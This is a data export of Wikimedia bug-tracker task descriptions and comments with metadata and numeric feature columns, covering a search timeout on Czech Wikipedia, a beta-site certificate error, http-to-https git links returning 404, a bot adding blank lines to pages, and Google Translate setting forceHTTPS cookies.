253032,"Error during search ""HTTP request timeout""","So, now I have ancounter it again. Using FF 22.0 at cs.wp I type to search box ""ethernit"" and hit ENTER. Within a few seconds I end up at Special:Search with red error message ""Při hledání došlo k chybě: Čas pro HTTP požadavek vypršel.""",,,1373879333,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,1,False,,,-7,True,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,24.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,13.0,18.0,0.0,7.0,0.0,7.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,3.5090909090909093,0.8363636363636363,"So, now I have ancounter it again. Using FF 22.0 at cs.wp I type to search box ""ethernit"" and hit ENTER. Within a few seconds I end up at Special:Search with red error message ""Při hledání došlo k chybě: Čas pro HTTP požadavek vypršel."""
253026,"Error during search ""HTTP request timeout""","Well I encounter this problem at cs.wp. But well, next time it happens, Ill describe it step by step.",,,1373553847,,PHID-USER-vm462i2ffbawnuo4mh3n,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,1,False,,,-7,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,13.0,9.0,4.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.608695652173913,0.8260869565217391,"Well I encounter this problem at cs.wp. But well, next time it happens, Ill describe it step by step."
253017,"Error during search ""HTTP request timeout""","Hi Juan, 
unfortunately this report is not very useful because it does not describe the problem well. If you have time and can still reproduce the problem, please read https://www.mediawiki.org/wiki/How_to_report_a_bug and add a more useful description to this report by providing exact steps to reproduce (for example ""at Wikimedia projects"" is too vague).",,,1373451410,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-izo5s7v4lhf4partpmsl,task_subcomment,,True,c2,1,True,,,-7,True,0.0,0.0,2.0,0.0,3.0,6.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,3.0,3.0,8.0,0.0,0.0,0.0,0.0,8.0,2.0,0.0,0.0,3.0,11.0,5.0,0.0,3.0,0.0,3.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,4.161290322580645,0.7903225806451613,"Hi Juan, 
unfortunately this report is not very useful because it does not describe the problem well. If you have time and can still reproduce the problem, please read URL and add a more useful description to this report by providing exact steps to reproduce (for example ""at Wikimedia projects"" is too vague)."
51533,beta.wmflabs.org has a bad certificate,"Visiting https://en.wikipedia.beta.wmflabs.org/ gives a bad certificate.

It is possible to fix the certificate? Thanks.

Error code: sec_error_untrusted_issuer

--------------------------
**Version**: wmf-deployment
**Severity**: normal",Low,25.0,1371139620,1377077878.0,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,False,PHID-TASK-we77qmelvw2y2qdqbkxj,task_description,resolved,True,c2,1,False,False,True,-11,True,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,16.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,7.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.325581395348837,0.6744186046511628,"Visiting URL gives a bad certificate.

It is possible to fix the certificate? Thanks.

Error code: sec_error_untrusted_issuer

--------------------------
**Version**: wmf-deployment
**Severity**: normal"
234839,beta.wmflabs.org has a bad certificate,"Dupe, I think.

*** This bug has been marked as a duplicate of bug 48501 ***",,,1377077878,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-we77qmelvw2y2qdqbkxj,task_subcomment,,True,c2,2,True,,,-1,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,13.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.6956521739130435,0.7391304347826086,"Dupe, I think.

*** This bug has been marked as a duplicate of bug 48501 ***"
51305,"For git server, rewrite http urls to https","http:// link that point to git, get a 404. Would it be worthwhile writing a rewrite in the apache config files that move the urls to https:// ?

Unthinkingly, and through habit, I made the mistake of making the link protocol neutral. I can see that it would be useful to help workaround for others making that mistake.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",Low,25.0,1370608560,1420737271.0,PHID-USER-bmenasgfntvftznu6wxs,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_description,invalid,True,c2,1,False,False,False,-12,True,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,9.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,2.0,1.0,1.0,1.0,2.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,1.0,1.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,2.0,7.0,1.0,1.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,1.0,0.0,5.0,9.0,6.0,1.0,0.0,0.0,5.0,0.0,1.0,2.0,0.0,4.0,0.0,0.0,0.0,4.023529411764706,0.6588235294117647,"http:// link that point to git, get a 404. Would it be worthwhile writing a rewrite in the apache config files that move the urls to https:// ?

Unthinkingly, and through habit, I made the mistake of making the link protocol neutral. I can see that it would be useful to help workaround for others making that mistake.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
396812,"For git server, rewrite http urls to https","Cannot reproduce either - at least there is no problem about http not redirecting to https what this task is about, hence closing this task.

If there's a common issue about %2F vs. / in URLs: That could be a separate task, though lowest priority as we plan to kill Gerrit at some point in favor of Phabricator, plus probably something that's got to get tackled in upstream and not in Wikimedia's configuration.",,,1420737271,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,3,True,,,71,True,1.0,1.0,0.0,0.0,4.0,6.0,1.0,0.0,1.0,1.0,7.0,0.0,0.0,0.0,2.0,1.0,1.0,8.0,19.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,2.0,4.0,8.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,1.0,19.0,4.0,0.0,0.0,0.0,1.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,1.0,4.0,0.7529411764705882,"Cannot reproduce either - at least there is no problem about http not redirecting to https what this task is about, hence closing this task.

If there's a common issue about %2F vs. / in URLs: That could be a separate task, though lowest priority as we plan to kill Gerrit at some point in favor of Phabricator, plus probably something that's got to get tackled in upstream and not in Wikimedia's configuration."
245559,"For git server, rewrite http urls to https","Is there still the problem with 404 errors?

I just tried the link on Wikisource (HTTP and HTTPS versions) with IE8/WinXP, Firefox 3.0.3/WinXP, Opera 10/WinXP, Opera 12.16/Ubuntu Lucid, Firefox 20/Ubuntu Lucid and I never experienced a 404 error (neither another error). What browsers did you have?

The Apache config of git.wikimedia.org didn’t really change since the beginning (see operations/puppet/templates/apache/sites/git.wikimedia.org).

I thought also about an encoding bug in MediaWiki; I tried with the MediaWiki version which was on Wikisource then (1.22/wmf5) but the HTML really gives slashes encoded as %2F and didn’t experienced the error (with Opera 12.16/Ubuntu Lucid).

I stop here the investigation about 404 error, unless there is still the problem. (the 404 error is a different bug than the bug title ""rewrite http -> https"".)",,,1378293928,,PHID-USER-2nopae2cxuamwcbndaih,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,1.0,2.5,0.0,5.5,7.5,0.0,0.0,0.0,0.5,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,1.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.5,1.5,0.0,0.5,0.0,0.0,0.5,0.0,1.0,1.0,0.0,0.0,0.0,0.5,0.0,7.5,2.0,16.0,1.0,2.5,8.5,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,3.0,7.5,13.5,1.0,1.0,0.0,3.0,0.0,1.0,1.5,0.0,0.0,0.0,0.0,0.0,3.913978494623656,0.6827956989247312,"Is there still the problem with 404 errors?

I just tried the link on Wikisource (HTTP and HTTPS versions) with IE8/WinXP, Firefox 3.0.3/WinXP, Opera 10/WinXP, Opera 12.16/Ubuntu Lucid, Firefox 20/Ubuntu Lucid and I never experienced a 404 error (neither another error). What browsers did you have?

The Apache config of git.wikimedia.org didn’t really change since the beginning (see operations/puppet/templates/apache/sites/git.wikimedia.org).

I thought also about an encoding bug in MediaWiki; I tried with the MediaWiki version which was on Wikisource then (1.22/wmf5) but the HTML really gives slashes encoded as %2F and didn’t experienced the error (with Opera 12.16/Ubuntu Lucid).

I stop here the investigation about 404 error, unless there is still the problem. (the 404 error is a different bug than the bug title ""rewrite http -> https"".)"
245553,"For git server, rewrite http urls to https",*** Bug 49827 has been marked as a duplicate of this bug. ***,,,1371666651,,PHID-USER-qaoxfiqu6bxhd5ehlwhc,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,False,,,-10,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 49827 has been marked as a duplicate of this bug. ***
245547,"For git server, rewrite http urls to https","No, not that. This:

https://git.wikimedia.org/blob/mediawiki%2Fextensions%2FProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php",,,1370652709,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.3333333333333335,1.0,"No, not that. This:

URL"
245542,"For git server, rewrite http urls to https","Are you meaning 

http://git.wikimedia.org/blob/mediawiki%2Fextensions%2FProofreadPage%2Fe7233e3ba511bd859f16d36e84accb3342d858d9%2FProofreadPage.body.php

If so, that fails too. <shrug>",,,1370650864,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,19.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,2.8125,0.9375,"Are you meaning 

URL

If so, that fails too. <shrug>"
245535,"For git server, rewrite http urls to https","Hmm, those /'s in the repo name (or file path) should be encoded as %2F :\",,,1370649935,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.6818181818181817,1.0,"Hmm, those /'s in the repo name (or file path) should be encoded as %2F :\"
245529,"For git server, rewrite http urls to https","Well, I get

<paste>

Not Found

The requested URL /blob/mediawiki/extensions/ProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php was not found on this server.

</paste>

It was pointed out to me

<quote> (ps your link is 404 error) </quote>

 at https://en.wikisource.org/w/index.php?title=Wikisource:Requests_for_comment/Annotations_and_derivative_works&oldid=4467510

so it is not only me that has the issue.",,,1370649863,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,3.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,3.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,9.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,14.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,3.0,1.0,0.0,8.0,7.0,5.0,0.0,0.0,0.0,8.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,14.0,3.8378378378378377,0.7027027027027027,"Well, I get

<paste>

Not Found

The requested URL /blob/mediawiki/extensions/ProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php was not found on this server.

</paste>

It was pointed out to me

<quote> (ps your link is 404 error) </quote>

 at URL

so it is not only me that has the issue."
245523,"For git server, rewrite http urls to https",Worksforme...,,,1370648763,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.5,1.0,Worksforme...
245517,"For git server, rewrite http urls to https","It was a deeper link
[//git.wikimedia.org/blob/mediawiki%2Fextensions%2FProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php git]

so http://git.wikimedia.org/blob/mediawiki%2Fextensions%2FProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php",,,1370648619,,PHID-USER-bmenasgfntvftznu6wxs,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,False,,,-12,True,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,24.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,10.0,7.428571428571429,0.8571428571428571,"It was a deeper link
[//git.wikimedia.org/blob/mediawiki%2Fextensions%2FProofreadPage/e7233e3ba511bd859f16d36e84accb3342d858d9/ProofreadPage.body.php git]

so URL"
245510,"For git server, rewrite http urls to https","Huh? Example?

http://git.wikimedia.org/ redirects to https://git.wikimedia.org/ for me.",,,1370610548,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-iqfoxyjadiqehc2a3hkx,task_subcomment,,True,c2,1,True,,,-12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,17.0,0.0,17.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0833333333333335,0.8333333333333334,"Huh? Example?

URL redirects to URL for me."
58316,OpenStackManager: Nova resource pages are endlessly prepended with line break whitespace on each update by Labslogbot,"See https://wikitech.wikimedia.org/w/index.php?title=Nova_Resource:I-00000601&action=history


eg. when trying to restart the bot or read something, finding a seemingly blank page like this https://wikitech.wikimedia.org/w/index.php?title=Nova_Resource:I-00000601&oldid=87399 is a bit annoying.

--------------------------
**Version**: unspecified
**Severity**: normal",Lowest,10.0,1383058800,1437750727.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-vk6mlmacfhx77egryy5i,False,PHID-TASK-v2mguuhedbp2cvaxaet6,task_description,resolved,True,c2,3,True,False,False,8,True,0.0,2.0,0.0,0.0,0.0,9.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,11.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,4.0,0.0,0.0,0.0,3.847826086956522,0.7391304347826086,"See URL


eg. when trying to restart the bot or read something, finding a seemingly blank page like this URL is a bit annoying.

--------------------------
**Version**: unspecified
**Severity**: normal"
496419,OpenStackManager: Nova resource pages are endlessly prepended with line break whitespace on each update by Labslogbot,"A cursory look at the (deleted and before that moved) page referenced in this task and current pages showed that now apparently only one newline is prepended by Labslogbot, while previously one was prepended with each update.  So I'm closing this as resolved; if I missed a (current) case, please reopen.",,,1437750727,,PHID-USER-vk6mlmacfhx77egryy5i,False,,,PHID-TASK-v2mguuhedbp2cvaxaet6,task_subcomment,,True,c2,3,True,,,99,True,2.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,2.0,3.0,2.0,0.0,2.0,0.0,3.0,0.0,8.0,15.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,2.0,13.0,2.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,8.0,5.0,3.0,11.0,0.0,0.0,0.0,0.0,2.0,2.0,3.0,0.0,3.0,15.0,2.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,0.0,4.096774193548387,0.8225806451612904,"A cursory look at the (deleted and before that moved) page referenced in this task and current pages showed that now apparently only one newline is prepended by Labslogbot, while previously one was prepended with each update.  So I'm closing this as resolved; if I missed a (current) case, please reopen."
57887,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"**Author:** `salisria`

**Description:**
I had originally filed this as a reopening of bug 54626 (comment 9 https://bugzilla.wikimedia.org/show_bug.cgi?id=54626#c9 ) as I was uncertain what had triggered it.  Now I know.  When I translate a wikipage with Google, that is when the forceHTTPS cookies are being set despite that breaking my preferences.

In case this affects things, at the time I do that, I am not signed in to Google, but I am signed in to Wikipedia.  When I translate the webpage on Goggle that is when I first get the popup message:
""Central login
You are centrally logged in as <username>. Reload the page to apply your user settings.""
That also is likely when the fifteen unwanted cookies are placed.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=57081",Lowest,10.0,1382118000,1434983614.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-4my7skcf3xoomjiuspgw,task_description,declined,True,c2,3,False,False,False,7,True,0.0,0.0,0.0,3.0,0.5,3.5,1.5,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,5.0,0.0,6.5,8.0,0.0,0.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,1.0,0.0,0.0,0.0,12.0,2.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.0,0.0,4.0,5.5,16.0,3.0,0.5,7.5,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,6.5,8.0,4.0,0.0,1.0,0.0,6.5,0.0,3.5,1.0,0.0,0.5,0.0,0.0,0.5,3.5585470085470083,0.6683150183150184,"**Author:** CODE

**Description:**
I had originally filed this as a reopening of bug 54626 (comment 9 URL ) as I was uncertain what had triggered it.  Now I know.  When I translate a wikipage with Google, that is when the forceHTTPS cookies are being set despite that breaking my preferences.

In case this affects things, at the time I do that, I am not signed in to Google, but I am signed in to Wikipedia.  When I translate the webpage on Goggle that is when I first get the popup message:
""Central login
You are centrally logged in as <username>. Reload the page to apply your user settings.""
That also is likely when the fifteen unwanted cookies are placed.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
479625,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"@faidon, this is still a bug, possibly upsteam in Google Translate, but these two websites are commonly used together and someone needs to prevent this popup message, which is incorrect, from appearing.",,,1435024600,,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,94,True,0.0,3.0,0.0,3.0,0.0,3.0,5.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,8.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,11.0,3.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,8.0,0.0,5.0,13.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,8.0,5.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,0.0,4.605263157894737,0.8421052631578947,"SCREEN_NAME, this is still a bug, possibly upsteam in Google Translate, but these two websites are commonly used together and someone needs to prevent this popup message, which is incorrect, from appearing."
479059,Using Google Translate for a Wikipedia page causes forceHTTPS session cookies to be placed,"As I understand it, this task is now moot: HTTPS is the default for everyone and there is no opt-out.",,,1434983614,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-4my7skcf3xoomjiuspgw,task_subcomment,,True,c2,3,True,,,94,True,0.0,4.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,12.0,12.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,12.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.28,0.92,"As I understand it, this task is now 